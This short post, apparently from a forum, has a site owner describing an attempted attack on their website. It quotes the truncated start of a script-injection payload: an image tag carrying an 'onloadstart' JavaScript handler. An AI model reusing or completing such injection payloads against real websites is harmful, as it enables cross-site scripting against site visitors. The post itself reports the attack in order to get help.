Someone Just Tried To Inject This Into My Website

I am actually kind of scared after reading this code. I think I have a professional trying to hack my site:

Code:

<img src=https://weneedfun.com/wp-content/uploads/2015/10/Cute-puppy-Pictures-29.jpg onloadstart=function() {
var...

Someone Just Tried To Inject This Into My Website

by RobertKarash via TBN